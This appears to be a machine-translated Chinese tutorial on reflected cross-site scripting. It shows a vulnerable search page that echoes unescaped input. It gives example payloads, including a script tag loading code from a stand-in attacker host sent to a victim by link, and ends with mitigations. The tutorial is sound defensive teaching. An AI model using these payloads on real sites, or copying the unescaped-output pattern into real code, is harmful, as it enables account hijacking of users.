反射的跨站點指令碼(XSS)

假設 Joe 擁有一個網站,允許你登入,檢視小狗視訊,並將其儲存到你的帳戶。

每當使用者在該網站上搜尋時,他們都會被重定向到 https://example.com/search?q=brown+puppies

如果使用者的搜尋與任何內容都不匹配,那麼他們會看到以下訊息:

你的搜尋( 棕色小狗 ),沒有任何匹配。再試一次。

在後端,該訊息顯示如下:

if(!searchResults){
    webPage += "<div>Your search (<b>" + searchQuery + "</b>), didn't match anything. Try again.";
}

然而,當 Alice 搜尋 <h1>headings</h1> 時,她得到了這個:

你的搜尋 ( ****

標題

)沒有匹配任何東西。再試一次。

原始 HTML:

Your search (<b><h1>headings</h1></b>) didn't match anything. Try again.

比愛麗絲搜尋 <script>alert(1)</script>,她看到:

你的搜尋()與任何內容都不匹配。再試一次。

和:

StackOverflow 文件

比 Alice 搜尋 <script src = "https://alice.evil/puppy_xss.js></script>really cute puppies,並在她的位址列中複製連結,而不是電子郵件 Bob:

鮑勃,

當我尋找可愛的小狗時 ,沒有任何反應!

當 Bob 登入到他的帳戶時,Alice 會成功地讓 Bob 執行她的指令碼。

減輕:

  1. 在沒有找到結果的情況下返回搜尋項之前,在搜尋中轉義所有尖括號。
  2. 未找到結果時,請勿返回搜尋詞。
  3. 新增內容安全策略 ,拒絕從其他域載入活動內容